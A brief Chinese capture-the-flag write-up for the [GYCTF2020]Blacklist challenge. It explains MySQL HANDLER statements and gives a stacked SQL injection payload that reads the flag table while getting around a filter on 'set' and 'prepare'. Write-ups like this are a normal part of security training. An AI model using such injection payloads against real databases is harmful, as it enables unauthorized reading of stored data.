从[GYCTF2020]Blacklist] 学习到的 handler 语句
0x00 学到的知识点
mysql查询语句除了select之外,还可以使用handler来一行一行查看表中数据.
参考文章:https://blog.csdn.net/JesseYoung/article/details/40785137
基本使用方法:
handler [table_name] open; #获取一个table_name的句柄
handler [table_name] read first; #查看句柄第一行
handler [table_name] read next; #查看下一行
handler [table_name] close;
也可以通过索引查看表中信息(FIRST,NEXT,PREV,LAST):
creat index [index_name] on [table_name](cloumn_name); #其中cloumn_name为要创建索引的列名
handler [table_name] open;
handler [table_name] read [index_name] first; #first获取第一行,next获取第二行,prev获取前一行,last获取最后一行
handler [table_name] close;
creat index [index_name] on [table_name](cloumn_name);
handler [table_name] read [index_name] = (2); #从索引值为2的地方查看数据
handler [table_name] close;
0x01 [GYCTF2020]Blacklist
这道题目和[强网杯2018 随便住]很类似,不同的是,这道题把预定义处理语句中的'set','prepare'全部给过滤掉了,正确的解题姿势就是上面所说的hander语句.
首先就是常规的堆叠注入,看表名字段名,最后一步的时候用到了hander语句(由于注入流程和[随便注]很类似,这篇文章就不上图了).
payload:1';handler FlagHere open;handler FlagHere read first;handler FlagHere close; #
即可成功读取flag.